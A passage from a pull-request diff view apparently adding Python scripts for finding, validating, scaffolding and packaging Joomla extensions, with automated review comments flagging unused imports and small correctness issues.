src_path = Path(src_dir)
if not src_path.is_dir():
common.die(f"Source directory missing: {src_dir}")
# Template manifest (templateDetails.xml)
template_manifest = src_path / "templateDetails.xml"
if template_manifest.is_file():
return template_manifest
# Also check in templates subdirectory
templates_dir = src_path / "templates"
if templates_dir.is_dir():
for template_file in templates_dir.glob("templateDetails.xml"):
return template_file
# Package manifest (pkg_*.xml)
pkg_manifests = list(src_path.rglob("pkg_*.xml"))
if pkg_manifests:
return pkg_manifests[0]
# Component manifest (com_*.xml)
com_manifests = list(src_path.rglob("com_*.xml"))
if com_manifests:
return com_manifests[0]
# Module manifest (mod_*.xml)
mod_manifests = list(src_path.rglob("mod_*.xml"))
if mod_manifests:
return mod_manifests[0]
# Plugin manifest (plg_*.xml)
plg_manifests = list(src_path.rglob("plg_*.xml"))
if plg_manifests:
return plg_manifests[0]
# Fallback: any XML with <extension
for xml_file in src_path.rglob("*.xml"):
try:
content = xml_file.read_text(encoding="utf-8")
if "<extension" in content:
return xml_file
except Exception:
continue
common.die(f"No Joomla manifest XML found under {src_dir}")
def find_all_manifests(src_dir: str = "src") -> List[Path]:
"""
Find all Joomla manifests in the given directory.
Args:
src_dir: Source directory to search
Returns:
List of manifest paths
"""
src_path = Path(src_dir)
if not src_path.is_dir():
return []
manifests = []
# Template manifests
manifests.extend(src_path.rglob("templateDetails.xml"))
# Package manifests
manifests.extend(src_path.rglob("pkg_*.xml"))
# Component manifests
manifests.extend(src_path.rglob("com_*.xml"))
# Module manifests
manifests.extend(src_path.rglob("mod_*.xml"))
# Plugin manifests
manifests.extend(src_path.rglob("plg_*.xml"))
return manifests
# ============================================================================
# Manifest Parsing
# ============================================================================
def parse_manifest(manifest_path: Path) -> ManifestInfo:
"""
Parse a Joomla manifest file.
Args:
manifest_path: Path to manifest file
Returns:
ManifestInfo object
Raises:
SystemExit: If parsing fails
"""
if not manifest_path.is_file():
common.die(f"Manifest not found: {manifest_path}")
try:
tree = ET.parse(manifest_path)
root = tree.getroot()
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:49 +00:00 (Migrated from github.com)
Review

The XML parsing doesn't handle the case where the root element is not 'extension'. For Joomla manifests, the root element should always be 'extension', but if it's not, the code will proceed with potentially invalid data. Consider adding a validation check that the root element tag is 'extension' and raise a clear error if it's not.

        root = tree.getroot()

        # Validate root element
        if root.tag != "extension":
            common.die(
                f"Invalid Joomla manifest root element '{root.tag}'; "
                f"expected 'extension': {manifest_path}"
            )
The XML parsing doesn't handle the case where the root element is not 'extension'. For Joomla manifests, the root element should always be 'extension', but if it's not, the code will proceed with potentially invalid data. Consider adding a validation check that the root element tag is 'extension' and raise a clear error if it's not. ```suggestion root = tree.getroot() # Validate root element if root.tag != "extension": common.die( f"Invalid Joomla manifest root element '{root.tag}'; " f"expected 'extension': {manifest_path}" ) ```
# Extract extension type
ext_type = root.attrib.get("type", "").strip().lower()
if not ext_type:
common.die(f"Manifest missing type attribute: {manifest_path}")
# Extract name
name_elem = root.find("name")
if name_elem is None or not name_elem.text:
common.die(f"Manifest missing name element: {manifest_path}")
name = name_elem.text.strip()
# Extract version
version_elem = root.find("version")
if version_elem is None or not version_elem.text:
common.die(f"Manifest missing version element: {manifest_path}")
version = version_elem.text.strip()
# Extract optional fields
description = None
desc_elem = root.find("description")
if desc_elem is not None and desc_elem.text:
description = desc_elem.text.strip()
author = None
author_elem = root.find("author")
if author_elem is not None and author_elem.text:
author = author_elem.text.strip()
author_email = None
email_elem = root.find("authorEmail")
if email_elem is not None and email_elem.text:
author_email = email_elem.text.strip()
author_url = None
url_elem = root.find("authorUrl")
if url_elem is not None and url_elem.text:
author_url = url_elem.text.strip()
copyright_text = None
copyright_elem = root.find("copyright")
if copyright_elem is not None and copyright_elem.text:
copyright_text = copyright_elem.text.strip()
license_text = None
license_elem = root.find("license")
if license_elem is not None and license_elem.text:
license_text = license_elem.text.strip()
creation_date = None
date_elem = root.find("creationDate")
if date_elem is not None and date_elem.text:
creation_date = date_elem.text.strip()
return ManifestInfo(
path=manifest_path,
extension_type=ext_type,
name=name,
version=version,
description=description,
author=author,
author_email=author_email,
author_url=author_url,
copyright=copyright_text,
license=license_text,
creation_date=creation_date
)
except ET.ParseError as e:
common.die(f"Failed to parse manifest {manifest_path}: {e}")
except Exception as e:
common.die(f"Error reading manifest {manifest_path}: {e}")
def get_manifest_version(manifest_path: Path) -> str:
"""
Extract version from manifest.
Args:
manifest_path: Path to manifest file
Returns:
Version string
"""
info = parse_manifest(manifest_path)
return info.version
def get_manifest_name(manifest_path: Path) -> str:
"""
Extract name from manifest.
Args:
manifest_path: Path to manifest file
Returns:
Name string
"""
info = parse_manifest(manifest_path)
return info.name
def get_manifest_type(manifest_path: Path) -> str:
"""
Extract extension type from manifest.
Args:
manifest_path: Path to manifest file
Returns:
Extension type string
"""
info = parse_manifest(manifest_path)
return info.extension_type
# ============================================================================
# Manifest Validation
# ============================================================================
def validate_manifest(manifest_path: Path) -> Tuple[bool, List[str]]:
"""
Validate a Joomla manifest.
Args:
manifest_path: Path to manifest file
Returns:
Tuple of (is_valid, list_of_warnings)
"""
warnings = []
try:
info = parse_manifest(manifest_path)
# Check for recommended fields
if not info.description:
warnings.append("Missing description element")
if not info.author:
warnings.append("Missing author element")
if not info.copyright:
warnings.append("Missing copyright element")
if not info.license:
warnings.append("Missing license element")
if not info.creation_date:
warnings.append("Missing creationDate element")
# Validate extension type
if info.extension_type not in ExtensionType.ALL_TYPES:
warnings.append(f"Unknown extension type: {info.extension_type}")
return (True, warnings)
except SystemExit:
return (False, ["Failed to parse manifest"])
# ============================================================================
# Main Entry Point (for testing)
# ============================================================================
def main() -> None:
"""Test the manifest utilities."""
import sys
common.log_section("Testing Joomla Manifest Utilities")
src_dir = sys.argv[1] if len(sys.argv) > 1 else "src"
try:
manifest = find_manifest(src_dir)
common.log_success(f"Found manifest: {manifest}")
info = parse_manifest(manifest)
common.log_section("Manifest Information")
common.log_kv("Type", info.extension_type)
common.log_kv("Name", info.name)
common.log_kv("Version", info.version)
if info.description:
common.log_kv("Description", info.description[:60] + "..." if len(info.description) > 60 else info.description)
if info.author:
common.log_kv("Author", info.author)
is_valid, warnings = validate_manifest(manifest)
if is_valid:
common.log_success("Manifest is valid")
if warnings:
common.log_warn(f"Warnings: {len(warnings)}")
for warning in warnings:
print(f" - {warning}")
else:
common.log_error("Manifest validation failed")
except SystemExit as e:
sys.exit(e.code)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,312 @@
#!/usr/bin/env python3
"""
Package Joomla extension as distributable ZIP.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
DEFGROUP: Script.Release
INGROUP: Extension.Packaging
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/release/package_extension.py
VERSION: 01.00.00
BRIEF: Package Joomla extension as distributable ZIP
USAGE: ./scripts/release/package_extension.py [output_dir] [version]
"""
import argparse
import os
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:50 +00:00 (Migrated from github.com)
Review

Import of 'os' is not used.


Import of 'os' is not used. ```suggestion ```
import shutil
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:51 +00:00 (Migrated from github.com)
Review

Import of 'shutil' is not used.


Import of 'shutil' is not used. ```suggestion ```
import sys
import zipfile
from datetime import datetime
from pathlib import Path
from typing import List, Set
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:51 +00:00 (Migrated from github.com)
Review

Import of 'List' is not used.

from typing import Set
Import of 'List' is not used. ```suggestion from typing import Set ```
# Add lib directory to path
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
try:
import common
import joomla_manifest
except ImportError:
print("ERROR: Cannot import required libraries", file=sys.stderr)
sys.exit(1)
# Exclusion patterns for packaging
EXCLUDE_PATTERNS = {
# Version control
".git", ".gitignore", ".gitattributes",
# IDE
".vscode", ".idea", "*.sublime-*",
# Development
"node_modules", "vendor", ".env", ".env.*",
# Documentation (optional, can be included)
# Build artifacts
"dist", "build", ".phpunit.cache",
# OS files
".DS_Store", "Thumbs.db",
# Logs
"*.log",
# Tests
"tests", "test", "Tests",
# CI/CD
".github",
# Scripts
"scripts",
# Docs (can be included if needed)
"docs",
# Config files
"composer.json", "composer.lock",
"package.json", "package-lock.json",
"phpunit.xml", "phpstan.neon", "phpcs.xml",
"codeception.yml",
# Others
"README.md", "CHANGELOG.md", "CONTRIBUTING.md",
"CODE_OF_CONDUCT.md", "SECURITY.md", "GOVERNANCE.md",
}
def should_exclude(path: Path, base_path: Path, exclude_patterns: Set[str]) -> bool:
"""
Check if a path should be excluded from packaging.
Args:
path: Path to check
base_path: Base directory path
exclude_patterns: Set of exclusion patterns
Returns:
True if should be excluded
"""
relative_path = path.relative_to(base_path)
# Check each part of the path
for part in relative_path.parts:
if part in exclude_patterns:
return True
# Check wildcard patterns
for pattern in exclude_patterns:
if "*" in pattern:
import fnmatch
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:48 +00:00 (Migrated from github.com)
Review

The import statement uses fnmatch inside the function instead of at the module level. This violates PEP 8 import conventions and can impact performance when the function is called repeatedly. Import statements should be placed at the top of the file with other imports.

The import statement uses `fnmatch` inside the function instead of at the module level. This violates PEP 8 import conventions and can impact performance when the function is called repeatedly. Import statements should be placed at the top of the file with other imports.
if fnmatch.fnmatch(part, pattern):
return True
return False
def create_package(
src_dir: str,
output_dir: str,
version: str = None,
repo_name: str = None,
exclude_patterns: Set[str] = None
) -> Path:
"""
Create a distributable ZIP package for a Joomla extension.
Args:
src_dir: Source directory containing extension files
output_dir: Output directory for ZIP file
version: Version string (auto-detected if not provided)
repo_name: Repository name for ZIP file naming
exclude_patterns: Patterns to exclude from packaging
Returns:
Path to created ZIP file
"""
src_path = Path(src_dir)
if not src_path.is_dir():
common.die(f"Source directory not found: {src_dir}")
# Find and parse manifest
manifest_path = joomla_manifest.find_manifest(src_dir)
manifest_info = joomla_manifest.parse_manifest(manifest_path)
# Determine version
if not version:
version = manifest_info.version
# Determine repo name
if not repo_name:
try:
repo_root = common.git_root()
repo_name = repo_root.name
except Exception:
repo_name = "extension"
# Determine exclusion patterns
if exclude_patterns is None:
exclude_patterns = EXCLUDE_PATTERNS
# Create output directory
output_path = Path(output_dir)
common.ensure_dir(output_path)
# Generate ZIP filename
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:49 +00:00 (Migrated from github.com)
Review

The variable 'timestamp' is assigned on line 165 but never used in the code. This appears to be unused code that should either be removed or incorporated into the ZIP filename if timestamping is desired.


The variable 'timestamp' is assigned on line 165 but never used in the code. This appears to be unused code that should either be removed or incorporated into the ZIP filename if timestamping is desired. ```suggestion ```
zip_filename = f"{repo_name}-{version}-{manifest_info.extension_type}.zip"
zip_path = output_path / zip_filename
# Remove existing ZIP if present
if zip_path.exists():
zip_path.unlink()
common.log_section("Creating Extension Package")
common.log_kv("Extension", manifest_info.name)
common.log_kv("Type", manifest_info.extension_type)
common.log_kv("Version", version)
common.log_kv("Source", src_dir)
common.log_kv("Output", str(zip_path))
print()
# Create ZIP file
file_count = 0
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for item in src_path.rglob("*"):
if item.is_file():
# Check if should be excluded
if should_exclude(item, src_path, exclude_patterns):
continue
# Add to ZIP with relative path
arcname = item.relative_to(src_path)
zipf.write(item, arcname)
file_count += 1
if file_count % 10 == 0:
common.log_step(f"Added {file_count} files...")
# Get ZIP file size
zip_size = zip_path.stat().st_size
zip_size_mb = zip_size / (1024 * 1024)
print()
common.log_success(f"Package created: {zip_path.name}")
common.log_kv("Files", str(file_count))
common.log_kv("Size", f"{zip_size_mb:.2f} MB")
# Output JSON for machine consumption
result = {
"status": "ok",
"extension": manifest_info.name,
"ext_type": manifest_info.extension_type,
"version": version,
"package": str(zip_path),
"files": file_count,
"size_bytes": zip_size
}
print()
common.json_output(result)
return zip_path
def main() -> int:
"""Main entry point."""
parser = argparse.ArgumentParser(
description="Package Joomla extension as distributable ZIP",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Package with auto-detected version
%(prog)s
# Package to specific directory
%(prog)s dist
# Package with specific version
%(prog)s dist 1.2.3
# Package with custom source
%(prog)s --src-dir my-extension dist 1.0.0
"""
)
parser.add_argument(
"output_dir",
nargs="?",
default="dist",
help="Output directory for ZIP file (default: dist)"
)
parser.add_argument(
"version",
nargs="?",
help="Version string (default: auto-detected from manifest)"
)
parser.add_argument(
"-s", "--src-dir",
default="src",
help="Source directory (default: src)"
)
parser.add_argument(
"--repo-name",
help="Repository name for ZIP filename (default: auto-detected)"
)
parser.add_argument(
"--include-docs",
action="store_true",
help="Include documentation files in package"
)
parser.add_argument(
"--include-tests",
action="store_true",
help="Include test files in package"
)
args = parser.parse_args()
try:
# Adjust exclusion patterns based on arguments
exclude_patterns = EXCLUDE_PATTERNS.copy()
if args.include_docs:
exclude_patterns.discard("docs")
exclude_patterns.discard("README.md")
exclude_patterns.discard("CHANGELOG.md")
if args.include_tests:
exclude_patterns.discard("tests")
exclude_patterns.discard("test")
exclude_patterns.discard("Tests")
# Create package
zip_path = create_package(
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:50 +00:00 (Migrated from github.com)
Review

Variable zip_path is not used.

        create_package(
Variable zip_path is not used. ```suggestion create_package( ```
src_dir=args.src_dir,
output_dir=args.output_dir,
version=args.version,
repo_name=args.repo_name,
exclude_patterns=exclude_patterns
)
return 0
except Exception as e:
common.log_error(f"Packaging failed: {e}")
result = {
"status": "error",
"error": str(e)
}
common.json_output(result)
return 1
if __name__ == "__main__":
sys.exit(main())

448
scripts/run/scaffold_extension.py Executable file
View File

@@ -0,0 +1,448 @@
#!/usr/bin/env python3
"""
Create Joomla extension scaffolding.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
DEFGROUP: Moko-Cassiopeia.Scripts
INGROUP: Scripts.Run
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/run/scaffold_extension.py
VERSION: 01.00.00
BRIEF: Create scaffolding for different Joomla extension types
"""
import argparse
import sys
from datetime import datetime
from pathlib import Path
from typing import Dict
# Add lib directory to path
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
try:
import common
import joomla_manifest
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:51 +00:00 (Migrated from github.com)
Review

Import of 'joomla_manifest' is not used.


Import of 'joomla_manifest' is not used. ```suggestion ```
except ImportError:
print("ERROR: Cannot import required libraries", file=sys.stderr)
sys.exit(1)
# ============================================================================
# Templates for Extension Scaffolding
# ============================================================================
def get_component_structure(name: str, description: str, author: str) -> Dict[str, str]:
"""Get directory structure and files for a component."""
safe_name = name.lower().replace(" ", "_")
com_name = f"com_{safe_name}"
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="4.0" method="upgrade">
<name>{name}</name>
<author>{author}</author>
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
<license>GPL-3.0-or-later</license>
<authorEmail>hello@example.com</authorEmail>
<authorUrl>https://example.com</authorUrl>
<version>1.0.0</version>
<description>{description}</description>
<files folder="site">
<folder>src</folder>
</files>
<administration>
<menu>{name}</menu>
<files folder="admin">
<folder>services</folder>
<folder>sql</folder>
<folder>src</folder>
</files>
</administration>
</extension>
"""
return {
f"{com_name}.xml": manifest,
"site/src/.gitkeep": "",
"admin/services/provider.php": f"<?php\n// Service provider for {name}\n",
"admin/sql/install.mysql.utf8.sql": "-- Installation SQL\n",
"admin/sql/uninstall.mysql.utf8.sql": "-- Uninstallation SQL\n",
"admin/src/.gitkeep": "",
}
def get_module_structure(name: str, description: str, author: str, client: str = "site") -> Dict[str, str]:
"""Get directory structure and files for a module."""
safe_name = name.lower().replace(" ", "_")
mod_name = f"mod_{safe_name}"
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="4.0" client="{client}" method="upgrade">
<name>{name}</name>
<author>{author}</author>
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
<license>GPL-3.0-or-later</license>
<authorEmail>hello@example.com</authorEmail>
<authorUrl>https://example.com</authorUrl>
<version>1.0.0</version>
<description>{description}</description>
<files>
<filename module="{mod_name}">{mod_name}.php</filename>
<filename>{mod_name}.xml</filename>
<folder>tmpl</folder>
</files>
</extension>
"""
module_php = f"""<?php
/**
* @package {name}
* @copyright Copyright (C) {datetime.now().year} {author}
* @license GPL-3.0-or-later
*/
defined('_JEXEC') or die;
// Module logic here
require JModuleHelper::getLayoutPath('mod_{safe_name}', $params->get('layout', 'default'));
"""
default_tmpl = f"""<?php
/**
* @package {name}
* @copyright Copyright (C) {datetime.now().year} {author}
* @license GPL-3.0-or-later
*/
defined('_JEXEC') or die;
?>
<div class="{mod_name}">
<p><?php echo JText::_('MOD_{safe_name.upper()}_DESCRIPTION'); ?></p>
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:50 +00:00 (Migrated from github.com)
Review

The f-string contains an embedded f-string for 'safe_name.upper()' on line 144. This creates a nested f-string pattern which is unnecessarily complex and reduces readability. Consider computing 'safe_name.upper()' beforehand and using it in the f-string, or restructuring the string formatting.

The f-string contains an embedded f-string for 'safe_name.upper()' on line 144. This creates a nested f-string pattern which is unnecessarily complex and reduces readability. Consider computing 'safe_name.upper()' beforehand and using it in the f-string, or restructuring the string formatting.
</div>
"""
return {
f"{mod_name}.xml": manifest,
f"{mod_name}.php": module_php,
"tmpl/default.php": default_tmpl,
}
def get_plugin_structure(name: str, description: str, author: str, group: str = "system") -> Dict[str, str]:
"""Get directory structure and files for a plugin."""
safe_name = name.lower().replace(" ", "_")
plg_name = f"{safe_name}"
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="4.0" group="{group}" method="upgrade">
<name>plg_{group}_{safe_name}</name>
<author>{author}</author>
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
<license>GPL-3.0-or-later</license>
<authorEmail>hello@example.com</authorEmail>
<authorUrl>https://example.com</authorUrl>
<version>1.0.0</version>
<description>{description}</description>
<files>
<filename plugin="{plg_name}">{plg_name}.php</filename>
</files>
</extension>
"""
plugin_php = f"""<?php
/**
* @package {name}
* @copyright Copyright (C) {datetime.now().year} {author}
* @license GPL-3.0-or-later
*/
defined('_JEXEC') or die;
use Joomla\\CMS\\Plugin\\CMSPlugin;
class Plg{group.capitalize()}{plg_name.capitalize()} extends CMSPlugin
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:50 +00:00 (Migrated from github.com)
Review

The plugin PHP class name generation uses 'plg_name.capitalize()' which only capitalizes the first character. For multi-word plugin names (e.g., 'my_plugin'), this would generate 'PlgSystemMy_plugin' instead of 'PlgSystemMyPlugin'. Consider using a proper camelCase conversion that capitalizes each word segment separated by underscores.

The plugin PHP class name generation uses 'plg_name.capitalize()' which only capitalizes the first character. For multi-word plugin names (e.g., 'my_plugin'), this would generate 'PlgSystemMy_plugin' instead of 'PlgSystemMyPlugin'. Consider using a proper camelCase conversion that capitalizes each word segment separated by underscores.
{{
protected $autoloadLanguage = true;
public function onContentPrepare($context, &$article, &$params, $limitstart = 0)
{{
// Plugin logic here
}}
}}
"""
return {
f"plg_{group}_{safe_name}.xml": manifest,
f"{plg_name}.php": plugin_php,
}
def get_template_structure(name: str, description: str, author: str) -> Dict[str, str]:
"""Get directory structure and files for a template."""
safe_name = name.lower().replace(" ", "_")
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
<extension type="template" version="4.0" client="site" method="upgrade">
<name>{safe_name}</name>
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
<author>{author}</author>
<authorEmail>hello@example.com</authorEmail>
<authorUrl>https://example.com</authorUrl>
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
<license>GPL-3.0-or-later</license>
<version>1.0.0</version>
<description>{description}</description>
<files>
<filename>index.php</filename>
<filename>templateDetails.xml</filename>
<folder>css</folder>
<folder>js</folder>
<folder>images</folder>
</files>
<positions>
<position>header</position>
<position>main</position>
<position>footer</position>
</positions>
</extension>
"""
index_php = f"""<?php
/**
* @package {name}
* @copyright Copyright (C) {datetime.now().year} {author}
* @license GPL-3.0-or-later
*/
defined('_JEXEC') or die;
use Joomla\\CMS\\Factory;
use Joomla\\CMS\\HTML\\HTMLHelper;
use Joomla\\CMS\\Uri\\Uri;
$app = Factory::getApplication();
$wa = $app->getDocument()->getWebAssetManager();
// Load template assets
$wa->useStyle('template.{safe_name}')->useScript('template.{safe_name}');
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
<jdoc:include type="metas" />
<jdoc:include type="styles" />
<jdoc:include type="scripts" />
</head>
<body>
<header>
<jdoc:include type="modules" name="header" style="html5" />
</header>
<main>
<jdoc:include type="component" />
</main>
<footer>
<jdoc:include type="modules" name="footer" style="html5" />
</footer>
</body>
</html>
"""
return {
"templateDetails.xml": manifest,
"index.php": index_php,
"css/template.css": "/* Template styles */\n",
"js/template.js": "// Template JavaScript\n",
"images/.gitkeep": "",
}
def get_package_structure(name: str, description: str, author: str) -> Dict[str, str]:
"""Get directory structure and files for a package."""
safe_name = name.lower().replace(" ", "_")
pkg_name = f"pkg_{safe_name}"
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
<extension type="package" version="4.0" method="upgrade">
<name>{name}</name>
<packagename>{safe_name}</packagename>
<author>{author}</author>
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
<license>GPL-3.0-or-later</license>
<authorEmail>hello@example.com</authorEmail>
<authorUrl>https://example.com</authorUrl>
<version>1.0.0</version>
<description>{description}</description>
<files folder="packages">
<!-- Add extension packages here -->
</files>
</extension>
"""
return {
f"{pkg_name}.xml": manifest,
"packages/.gitkeep": "",
}
# ============================================================================
# Scaffolding Functions
# ============================================================================
def create_extension(
ext_type: str,
name: str,
description: str,
author: str,
output_dir: str = "src",
**kwargs
) -> None:
"""
Create extension scaffolding.
Args:
ext_type: Extension type (component, module, plugin, template, package)
name: Extension name
description: Extension description
author: Author name
output_dir: Output directory
**kwargs: Additional type-specific options
"""
output_path = Path(output_dir)
# Get structure based on type
if ext_type == "component":
structure = get_component_structure(name, description, author)
elif ext_type == "module":
client = kwargs.get("client", "site")
structure = get_module_structure(name, description, author, client)
elif ext_type == "plugin":
group = kwargs.get("group", "system")
structure = get_plugin_structure(name, description, author, group)
elif ext_type == "template":
structure = get_template_structure(name, description, author)
elif ext_type == "package":
structure = get_package_structure(name, description, author)
else:
common.die(f"Unknown extension type: {ext_type}")
# Create files
common.log_section(f"Creating {ext_type}: {name}")
for file_path, content in structure.items():
full_path = output_path / file_path
# Create parent directories
full_path.parent.mkdir(parents=True, exist_ok=True)
# Write file
full_path.write_text(content, encoding="utf-8")
common.log_success(f"Created: {file_path}")
common.log_section("Scaffolding Complete")
common.log_info(f"Extension files created in: {output_path}")
common.log_info(f"Extension type: {ext_type}")
common.log_info(f"Extension name: {name}")
# ============================================================================
# Command Line Interface
# ============================================================================
def main() -> None:
"""Main entry point."""
parser = argparse.ArgumentParser(
description="Create Joomla extension scaffolding",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Create a component
%(prog)s component MyComponent "My Component Description" "John Doe"
# Create a module
%(prog)s module MyModule "My Module Description" "John Doe" --client site
# Create a plugin
%(prog)s plugin MyPlugin "My Plugin Description" "John Doe" --group system
# Create a template
%(prog)s template mytheme "My Theme Description" "John Doe"
# Create a package
%(prog)s package mypackage "My Package Description" "John Doe"
"""
)
parser.add_argument(
"type",
choices=["component", "module", "plugin", "template", "package"],
help="Extension type to create"
)
parser.add_argument("name", help="Extension name")
parser.add_argument("description", help="Extension description")
parser.add_argument("author", help="Author name")
parser.add_argument(
"-o", "--output",
default="src",
help="Output directory (default: src)"
)
parser.add_argument(
"--client",
choices=["site", "administrator"],
default="site",
help="Module client (site or administrator)"
)
parser.add_argument(
"--group",
default="system",
help="Plugin group (system, content, user, etc.)"
)
args = parser.parse_args()
try:
create_extension(
ext_type=args.type,
name=args.name,
description=args.description,
author=args.author,
output_dir=args.output,
client=args.client,
group=args.group
)
except Exception as e:
common.log_error(f"Failed to create extension: {e}")
sys.exit(1)
if __name__ == "__main__":
main()

168
scripts/validate/manifest.py Executable file
View File

@@ -0,0 +1,168 @@
#!/usr/bin/env python3
"""
Validate Joomla manifest files.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
DEFGROUP: Moko-Cassiopeia.Scripts
INGROUP: Scripts.Validate
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/validate/manifest.py
VERSION: 01.00.00
BRIEF: Validate Joomla extension manifest files
"""
import argparse
import sys
from pathlib import Path
# Add lib directory to path
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
try:
import common
import joomla_manifest
except ImportError:
print("ERROR: Cannot import required libraries", file=sys.stderr)
sys.exit(1)
def validate_manifest_file(manifest_path: Path, verbose: bool = False) -> bool:
"""
Validate a single manifest file.
Args:
manifest_path: Path to manifest file
verbose: Show detailed output
Returns:
True if valid, False otherwise
"""
try:
info = joomla_manifest.parse_manifest(manifest_path)
is_valid, warnings = joomla_manifest.validate_manifest(manifest_path)
if verbose:
common.log_section(f"Manifest: {manifest_path}")
common.log_kv("Type", info.extension_type)
common.log_kv("Name", info.name)
common.log_kv("Version", info.version)
if warnings:
common.log_warn(f"Warnings ({len(warnings)}):")
for warning in warnings:
print(f" - {warning}")
# Output JSON for machine consumption
result = {
"status": "ok" if is_valid else "error",
"manifest": str(manifest_path),
"ext_type": info.extension_type,
"name": info.name,
"version": info.version,
"warnings": warnings
}
if not verbose:
common.json_output(result)
if is_valid:
if not verbose:
print(f"manifest: ok ({manifest_path})")
else:
common.log_success("Manifest is valid")
return True
else:
common.log_error(f"Manifest validation failed: {manifest_path}")
return False
except SystemExit:
common.log_error(f"Failed to parse manifest: {manifest_path}")
return False
def main() -> int:
"""Main entry point."""
parser = argparse.ArgumentParser(
description="Validate Joomla extension manifest files",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument(
"-s", "--src-dir",
default="src",
help="Source directory to search for manifests (default: src)"
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Show detailed output"
)
parser.add_argument(
"manifest",
nargs="?",
help="Specific manifest file to validate (optional)"
)
args = parser.parse_args()
try:
if args.manifest:
# Validate specific manifest
manifest_path = Path(args.manifest)
if not manifest_path.is_file():
common.die(f"Manifest file not found: {args.manifest}")
success = validate_manifest_file(manifest_path, args.verbose)
return 0 if success else 1
else:
# Find and validate all manifests in src directory
manifests = joomla_manifest.find_all_manifests(args.src_dir)
if not manifests:
common.die(f"No manifest files found in {args.src_dir}")
if args.verbose:
common.log_section("Validating Manifests")
common.log_info(f"Found {len(manifests)} manifest(s)")
print()
all_valid = True
for manifest in manifests:
if not validate_manifest_file(manifest, args.verbose):
all_valid = False
if args.verbose:
print()
if all_valid:
common.log_success(f"All {len(manifests)} manifest(s) are valid")
else:
common.log_error("Some manifests failed validation")
return 0 if all_valid else 1
except Exception as e:
common.log_error(f"Validation failed: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())

218
scripts/validate/php_syntax.py Executable file
View File

@@ -0,0 +1,218 @@
#!/usr/bin/env python3
"""
Validate PHP syntax in files.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
